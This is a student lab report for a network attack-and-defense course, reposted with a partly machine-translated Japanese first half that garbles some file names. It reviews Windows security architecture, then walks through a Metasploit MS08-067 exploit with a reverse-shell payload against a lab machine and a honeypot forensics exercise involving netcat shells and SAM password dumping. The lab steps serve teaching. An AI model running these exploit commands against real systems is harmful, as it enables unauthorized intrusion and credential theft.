20199107 2019-2020-2「ネットワーク攻撃と防御の実践」第7週の割り当て

20199107 2019-2020-2「ネットワーク攻撃と防衛実践」第7課題

この課題はどのコースに属していますか 「ネットワーク攻撃と防御の実践」
この課題の要件は何ですか 「ネットワーク攻撃と防衛実践」の7番目の割り当て
このコースの私の目標は 新しい知識を学び、試験で高得点を獲得する
この割り当ての特定の側面が私の目標を達成するのに役立った Windowsオペレーティングシステムの攻撃および防御技術の学習
宿題 下記参照
その他の参考文献 記事の終わりを参照してください

1.練習内容

Windowsオペレーティングシステムの基本構造

Windowsオペレーティングシステムの基本構造は、プロセッサ特権モード(リング0)で実行されるオペレーティングシステムカーネルと、プロセッサ非特権モード(リング3)で実行されるユーザー空間コードに分かれています。

  • Windows OSカーネルの基本モジュールには、次のものがあります。
Windows OSカーネル基本モジュール 説明文
Windows実行 つまり、Windowsカーネルコアファイルnokml.xeの上位インターフェイスには、プロセスとスレッドの管理、メモリ管理、I / O管理、ネットワーク接続、プロセス間通信、セキュリティサービスなどの基本的なオペレーティングシステムカーネルサービスが含まれています。
Windowsカーネル つまり、Windowsカーネルのコアファイルntoskrnl.exeの関数実装およびハードウェアアーキテクチャサポートコードは、基盤となるオペレーティングシステム関数を実装し、一連のカーネルルーチンと基本オブジェクトを提供して、執行機関が高レベルの機能サービスを実現できるようにします。
デバイスドライバー ユーザーI / O操作を特定のハードウェアデバイスI / O要求にマップするハードウェアデバイスドライバー、およびファイルシステムとネットワークデバイスドライバーを含みます。この部分は、デジタル署名認証をカーネルに渡して実行したサードパーティのハードウェアメーカーのハードウェアデバイスドライバーのロードをサポートします。
ハードウェアアブストラクションレイヤー hal.dllファイルは、Windowsカーネルとプラットフォームハードウェアの違いを保護するために使用される基本的なコードです。
Windowsウィンドウとグラフィカルインターフェイスインターフェイスのカーネル実装コード すなわちwin32k.sysファイル
  • ユーザーモードのWindows OSのコードモジュールは次のとおりです。
Windows OSユーザーモードコードモジュール 説明文
システムサポートプロセス Windowsの起動時に、システムの組み込みサービスプロセスが自動的に開始されました。
環境サブシステムサービスプロセス オペレーティングシステムのオペレーティング環境のサポートを提供するサービスプロセス。
サービスプロセス Windowsサービス管理メカニズムを通じて開始された一連のシステムおよびネットワークサービス。
ユーザーアプリケーションソフトウェア ユーザーモードで実行されるさまざまなユーザーアプリケーションソフトウェア。
コアサブシステムDLL つまり、kernel32.d1 / uer32.d / gdi32 d / advapi32.dllおよびその他のダイナミックリンクライブラリファイルは、ユーザーモードサービスプロセスとアプリケーションソフトウェアおよびオペレーティングシステムカーネル間のインタラクティブインターフェイスとして、ユーザーモードプログラムによって呼び出されたシステムAPI関数を対応するWindows内の1つ以上のシステムサービスコール。

上記のシステムアーキテクチャでは、次のコアメカニズムがWindowsオペレーティングシステムのカーネルに実装されています。

  • Windowsプロセスおよびスレッド管理メカニズム
    Windowsは、実行可能プログラムの実行時に、プライベート仮想メモリ空​​間記述子、システムリソースオブジェクトハンドルのリスト
    、ユーザーアカウントを実行する権限を持つセキュリティアクセストークンを含むプロセスをコンテナーとして扱い、プロセスIDが記録されます。また、その親プロセスIDとその他の情報には、プロセスの内部実行本体である少なくとも1つの実行スレッドが含まれています。
    Windowsスレッドは命令実行の特定のキャリアとして機能し、そのスレッド制御ブロックTCBにはプログラム実行のコンテキスト情報が含まれています。

  • Windowsのメモリ管理メカニズムは
    、システムコアメモリ間隔とユーザーメモリ間隔に分かれています。
    システムコアメモリ間隔は、カーネル、HAL(ハードウェアアブストラクションレイヤー、オペレーティングシステムカーネルとハードウェア回路の間のインターフェイスレイヤーにあります)、win32k.sysおよびその他のカーネル実行をマップするために使用されますモジュールにはカーネルメモリオブジェクトも格納され、
    ユーザーモードのメモリセクションにはユーザープログラムのコードセグメントとデータセグメントが含まれ、各スレッドにはスタックとヒープがあります。

  • Windowsファイル管理メカニズムは
    、当初はFAT(File Allocation Table)によって管理されていましたが、セキュリティが弱いため、NTFS(New Technology File System)に置き換えられました。

  • Windowsレジストリ管理メカニズム
    レジストリ(レジストリ)は、Microsoft Windowsの重要なデータベースであり、システムとアプリケーションの設定情報を格納するために使用されます。
    レジストリは、システムのグローバル構成、ユーザー、アプリケーションソフトウェアの構成情報のストレージリポジトリとして、システムの構成と制御において重要な役割を果たします。ほとんどすべてのWindows操作には、レジストリから構成情報を読み取り、変更するための多数のアクションが伴います。

  • Windowsネットワークメカニズム

Windowsネットワークコンポーネントモジュール OSIの7層に相当 説明文
各ネットワークカードハードウェアデバイスのドライバー 物理層 通常、サードパーティのハードウェアメーカーから提供されます
NDIS(ネットワークドライバーインターフェイス仕様)ライブラリとmimiportドライバー データリンク層 さまざまなネットワークカードドライバーとTDI伝送層用に構築されたカプセル化インターフェイス
TDI(トランスポートドライバーインターフェイス、トランスポートドライバーインターフェイス/ネットワークプロトコルドライバー)トランスポート層 ネットワーク層、トランスポート層 このプロトコルドライバーは、名前付きデバイスを生成します。このデバイスは、主に要求を生成し、要求を制御するために、一連の要求を受信できます。これは、すべての複雑な機能を実装するために使用されます
。WFP(Windows Filtering Platform)に置き換えられると言われていますか?WFPはWin8から使用されています
ネットワークAPI DLLおよびTDIクライアント セッション層、プレゼンテーション層 ネットワークAPI DLLは、特定のプロトコルから独立したネットワークの相互作用と実装をアプリケーションに提供します。TDIクライアントは、ネットワークAPIインターフェースの特定の実装です
ネットワークアプリケーションサービスプログラムとサービスプロセス アプリケーション層 ネットワーク相互作用と通信機能を実現

Windowsオペレーティングシステムのセキュリティアーキテクチャとメカニズム

Windowsセキュリティアーキテクチャ

windows的安全体系结构基于引用监控器这一经典的安全模型,所有主体对客体的访问都通过监控器,根据安全访问控制策略进行授权访问,所有访问记录由监控器生成日志。

Windows身份认证机制

Windows以安全主体的概念来包含所有进行资源访问请求的实体对象,包括用户、用户组和计算机三大类。对每个主体,有唯一SID来标识。
Windows为每个用户和计算机设置账户进行管理,账户的根本作用是限制账户内运行的程序对系统资源的访问。
用户组是为了简化管理引入的用户账户容器,通过将用户加入用户组,可以使用户拥有用户组的全部权限。
Windows账户的口令经过hash后保存在SAM(Security Accounts Manager)文件或活动目录AD中。
Winlogon进程、GINA图形化登录窗口与LSASS(Local Security Authority Service)服务协作完成本地身份认证过程。

Windows授权与访问控制机制

在用户等主体经过认证后,Windows会从内部数据库里读取该账户的信息,然后使用这些信息生成一个访问令牌,含有在该账户环境下启动的进程,都会获得这个令牌的副本。
系统内所有需要保护的资源都抽象成对象,每个对象会关联一个SD安全描述符,其主要属性如下

  • Owner SID:对象所有者的SID
  • Group SID:对象所在组的SID
  • DACL自主访问控制列表:指明哪些安全主体可以以何种方式访问该对象
  • SACL系统审计访问控制列表:指明了哪些主体发起的哪些访问操作需要被审计

访问令牌和SD结合组成Windows访问控制机制

Windows安全审计机制

LSASS服务将保存审计策略,并在对象启动审计功能后,对SD中的SACL列表进行保存。

Windows其他安全机制

包括集成了防火墙、补丁自动更新和防病毒三项功能的Windows安全中心,以及IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、IE浏览器隐私保护与浏览安全机制等。

Windows远程攻防技术

攻击方式 防范措施
远程口令猜测与破解 关闭易受攻击的网络服务、配置防火墙、使用更安全的协议、使用强口令
网络服务远程渗透攻击 打补丁、实施攻击缓解配置、利用安全核对清单对服务进行配置、安全增强插件、及时修复漏洞
攻击windows客户端及用户三大类 使用安全的软件、及时更新软件

Windows本地安全攻防技术

攻击者获取系统访问权后,破解本地程序漏洞,获取系统完整控制权,获取敏感信息,掩盖痕迹,植入后门等所用的技术。

攻击目标 常用手段 防范措施
本地特权提升 DLL注入、破解本地程序漏洞、计划任务 及时打补丁、采取厂家提供的变通方法
敏感信息窃取 Windows系统口令字密文提取技术、Windows系统口令字破解技术、用户敏感信息窃取 选择强口令、加密保护敏感信息
消踪灭迹 关闭审计功能、清理事件日志 配置好系统审计和网络服务审计功能、将日志记录到不可擦写的CDROM中,或通过网络传到安全的日志服务器
远程控制与后门程序 命令行远程控制工具、图形化远程控制工具 安装后门检测软件、杀软

2.实践过程

Metasploit Windows Attack

任务:使用攻击机对靶机上的漏洞MS08-067(08年序号067的漏洞,是Server服务路径规范化处理不当漏洞)进行远程渗透攻击,获取目标主机访问权

机器 角色 IP
kali 攻击机 192.168.200.2
XPSP1-metaspolitable 靶机 192.168.200.9

一开始用windows/meterpreter/reverse_tcp那个攻击MS08-067不成功,感觉很疑惑,换了MS03-026试了试却可以,刚开始百思不得其解,试了很多种方式,还以为这靶机没这个漏洞,
后来看了大佬的博客发现是payload的问题,用书上那个generic/shell_reverse_tcp就可以

msfconsole启动该工具
search MS08-067搜索该漏洞的相关攻击脚本,只有一个也不用选了,就用它了
use exploit/windows/smb/ms08_067_netapi看路径可以知道这是一个可用于渗透攻击的,攻击Windows SMB协议的,针对漏洞ms08-067

show payloads显示可用payload

set payload generic/shell_reverse_tcp这是获取shell的反向连接
show options显示需要的参数,包括脚本的参数、payload的参数等,其中RHOST和LHOST是要填的,其他可以用默认值,
其中R开头的常指靶机,L开头的常指攻击机,具体的描述(description)旁边也有,target是要选的目标,用默认的自动选择目标即可
set RHOST 192.168.200.9设置为靶机(XPSP1)IP
set LHOST 192.168.200.2设置为攻击机(Kali)IP
set LPORT 9107这个其实随意,但我担心我之前的尝试把端口占用了,设置完成如图

exploit进行攻击,成功获取到靶机的shell,用ipconfig可以看到靶机的IP信息

取证分析实践:解码一次成功的NT系统破解攻击

任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),分析数据为包含整个攻击过程的二进制文件,提取并分析攻击的全部过程
1.攻击者使用了什么破解工具进行攻击
2.攻击者如何使用这个破解工具进入并控制了系统
3.攻击者获得系统访问权限后做了什么
4.我们如何防止这样的攻击
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

主要还是靠课本的参考pdf和同学的博客做

  • 任务1:
    先拿snort试一下,海量信息,其中主要有8种报警,从中可知攻击者利用了IIS的两个漏洞,分别为:

  • Unicode漏洞(MS00-078/MS01-026)
    如向IIS服务器发出包括非法UTF-8序列的URL,攻击者可使服务器逐字“进入或退出”目录并执行任意程序,该攻击即称为目录转换攻击。
    Unicode用“%2f”和“%5c”分别代表“/”和“\”字符,但也可用“超长”序列来代替这些字符。
    “超长”序列是非法的Unicode表示符,如用“%c0%af”代表“/”字符。
    由于IIS不对超长序列进行检查,因此在URL中添加超长的Unicode序列后,可绕过微软的安全检查,
    如在一个标记为可执行的文件夹发出该请求,攻击者即可在服务器上运行可执行文件。

  • MDAC RDS组件漏洞(MS02-065)
    MDAC(MicrosoftDataAccessComponents)是一个把Web和数据库结合起来的软件包。它包含了一个叫RDS(RemoteDataServices)的组件。
    RDS可以使用户通过IIS访问数据库,RDS与IIS都是默认安装的。RDS中的一个组件DataFactory存在漏洞可以使Web服务用户获取IIS服务器上非公开的文件,远程攻击者也可以使用MDAC转发ODBC请求使之能访问到非公开的服务器。
    如果服务器上安装了MicrosoftJETOLEDBProvider或MicrosoftDataShapeProvider攻击者可以使用shell()VBA调用在系统上以System权限执行任意命令。

用wireshark观察抓包记录,ip.addr==213.116.251.162筛选来自攻击机的包

通过搜索特征码ADM!ROX!YOUR!WORLD,发现是msadc(2).pl

  • 任务2:

攻击者先使用了编写好的ftpcom脚本,尝试从ftp服务器下载编写好的后门文件,但由于密码错误失败了

攻击者通过几次尝试后终于想起了自己的密码并下载了nc.exe,pdump.exe,samdump.dll三个文件,并通过nc.exe构建了一个远程shell通道,端口6969,可以通过搜索6969快速寻找部分攻击者输入的命令

  • 任务3:

追踪攻击者获取了shell之后的TCP流,可以看到其系列操作。攻击者修改各种文件,意图通过pdump、samdump、net命令、rdisk命令等方式提权为管理员,成功后还删除了ftpcom文件等痕迹

后来又换了个IP202.85.60.156,再追踪其TCP流,其中还有之后要找的信息

  • 任务4:
    禁用不需要的服务和端口,及时打补丁。

  • 任务5:

显然是发现了,攻击者往一个文件里面写了这是他见过的最好的蜜罐。

团队对抗实践:windows系统远程渗透攻击和分析

任务:攻方使用metaploit选择漏洞进行攻击,获得控制权。防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
kali对xp的MS08-067漏洞进行攻击,过程参考Metasploit Windows Attack
该漏洞实质上是对SMB的缓冲区溢出攻击,针对SMB协议规范化路径时的逻辑漏洞,
路径规范化即将路径字符串中的/转换为\,同时去除相对路径.\..\
snort试一下,这报警信息没什么用啊

抓包发现有很多SMB包,

然后从这个位置开始,靶机向攻击机发起了反弹式tcp连接

此时追踪tcp流可以看到攻击机获得shell后的操作

3.学习中遇到的问题及解决

  • 问题1:一开始用windows/meterpreter/reverse_tcp那个攻击MS08-067不成功,感觉很疑惑,换了MS03-026试了试却可以,还以为这靶机没这个漏洞
  • 问题1解决方案:看了大佬的博客发现是payload的问题,老实地用书上那个generic/shell_reverse_tcp就可以
  • 问题2:即使有参考书很多地方其实都还是很迷惑的状态,但还有其他作业要做,没时间探究了
  • 问题2解决方案:尽可能地猜一下

4.实践总结

做第一个实践的时候,感觉上了这么久网络攻防,终于有一个熟悉的任务,可以让我抄我自己,然后看了一下我以前的博客,发现,以前好菜啊,写的什么鬼,跟加了密似的,自己看都要回忆。
看到小结的时候,感觉难度突然有巨大地提升,做的时候感觉和某个段子表情包发生强烈共鸣,感觉大概是:
首先介绍一下各种window攻防技术,然后学习攻击工具Metasploit的入门使用,是不是很简单呢,好,现在我们来试一下:解码一次成功的NT系统破解、windows系统远程渗透攻击抓包分析攻防???材料和实践的难度有亿点点大哦。

5.其他参考文献

おすすめ

転載: www.cnblogs.com/20145120hxx/p/12687612.html